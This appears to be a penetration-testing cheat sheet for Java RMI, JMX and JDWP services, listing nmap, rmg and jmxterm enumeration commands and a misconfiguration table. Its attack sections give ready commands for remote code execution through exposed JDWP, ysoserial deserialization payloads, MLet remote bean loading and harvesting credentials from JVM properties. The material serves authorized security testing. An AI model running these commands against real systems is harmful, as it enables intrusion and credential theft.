Java RMI, JMX and JDWP Pentesting

Java RMI, JMX and JDWP pentesting techniques for identifying, exploiting Java management and debugging interfaces, enumeration, attack vectors and post-exploitation insights.

port 1099port 9010port 5005

Java RMI, JMX and JDWP

Default Ports: 1099 (RMI), 9010/9999 (JMX), 5005 (JDWP)

Java RMI, JMX, and JDWP expose Java remote objects, management operations, and debugging interfaces. In pentests, unauthenticated Java management ports can reveal runtime data, MBeans, system properties, credentials, and sometimes code execution paths.

Connect​

RMI Registry​

RMI registry enumeration identifies bound names and remote objects.

nmap -p 1099 -sV target.com  
rmg enum target.com 1099  
rmg enum target.com 1099 --actions

JMX​

JMX exposes JVM and application management data.

nmap -p 9010,9999,1099,7199 -sV target.com  
java -jar jmxterm.jar -l target.com:9010  
java -jar jmxterm.jar -l service:jmx:rmi:///jndi/rmi://target.com:1099/jmxrmi

JDWP​

JDWP is a debug protocol and should not be exposed in production.

nmap -p 5005 -sV target.com  
printf "JDWP-Handshake" | nc -nv target.com 5005

Recon​

Service Detection with Nmap​

Scan common Java application, management, and debug ports.

nmap -p 1099,5005,7001,7199,8000,8009,8080,9010,9999 -sV target.com  
nmap -p 1099 --script rmi-dumpregistry target.com  
nmap -p 5005 --script jdwp-info target.com

Product Context​

Nearby services help identify Tomcat, JBoss, WebLogic, Cassandra, Kafka, or custom JVM apps.

nmap -p 80,443,8080,8081,8443,9990 -sV target.com  
httpx -u http://target.com:8080 -title -tech-detect -status-code

TLS and Binding Review​

JMX and RMI may expose dynamic ports in addition to the registry port.

rmg enum target.com 1099 --scan-action bound  
nmap -p- --min-rate 5000 target.com

Enumeration​

RMI Enumeration​

Enumerate bound names, methods, and endpoint classes.

rmg enum target.com 1099  
rmg guess target.com 1099  
rmg known target.com 1099

JMX Enumeration​

Use JMX to list domains, MBeans, attributes, and operations.

java -jar jmxterm.jar -l target.com:9010  
domains  
beans  
info java.lang:type=Runtime  
get java.lang:type=Runtime SystemProperties

JDWP Enumeration​

The JDWP handshake confirms debug access.

printf "JDWP-Handshake" | nc -nv target.com 5005  
nmap -p 5005 --script jdwp-info target.com

JVM Secret Review​

JVM arguments and system properties may contain credentials.

get java.lang:type=Runtime InputArguments  
get java.lang:type=Runtime SystemProperties

Attack Vectors​

Exposed RMI Registry​

RMI exposure may allow method discovery, deserialization testing, or unsafe remote object access.

rmg enum target.com 1099  
rmg call target.com 1099 bound-name method-name

Unauthenticated JMX​

Unauthenticated JMX can expose MBeans and dangerous operations.

java -jar jmxterm.jar -l target.com:9010  
beans  
info com.example:type=*

MLet Abuse​

Some JMX deployments allow loading remote MBeans.

java -jar jmxterm.jar -l target.com:9010  
bean javax.management.loading.MLet

JDWP Code Execution​

Exposed JDWP can be used to execute code inside the JVM.

jdwp-shellifier.py -t target.com -p 5005 --cmd "id"

Deserialization Risk​

RMI and JMX may expose Java deserialization paths.

rmg serial target.com 1099 CommonsCollections6 'id'  
ysoserial CommonsCollections6 'id'

Post-Exploitation​

Runtime Review​

Collect JVM version, arguments, properties, and application names.

get java.lang:type=Runtime VmName  
get java.lang:type=Runtime VmVersion  
get java.lang:type=Runtime InputArguments  
get java.lang:type=Runtime SystemProperties

Credential Review​

Search runtime properties and configs for secrets.

grep -Ei 'password|secret|token|jdbc|ldap|aws|apikey' jmx-output.txt

Evidence Collection​

Save minimal proof of exposure and accessible operations.

rmg enum target.com 1099 > rmi-enum.txt  
nmap -p 5005 --script jdwp-info target.com -oN jdwp-info.txt

Useful Tools​

Tool| Purpose
---|---
nmap| Port and script detection
remote-method-guesser| RMI enumeration
jmxterm| JMX client
jdwp-shellifier| JDWP exploitation testing
ysoserial| Java deserialization payloads
nc| JDWP handshake check

Security Misconfigurations​

Misconfiguration| Risk
---|---
RMI exposed| Remote object and deserialization attack surface
JMX unauthenticated| JVM and app management exposure
JDWP exposed| Debug access and code execution
JVM secrets in properties| Credential leakage
Dynamic RMI ports exposed| Unexpected management access
No network restriction| Internal management exposed broadly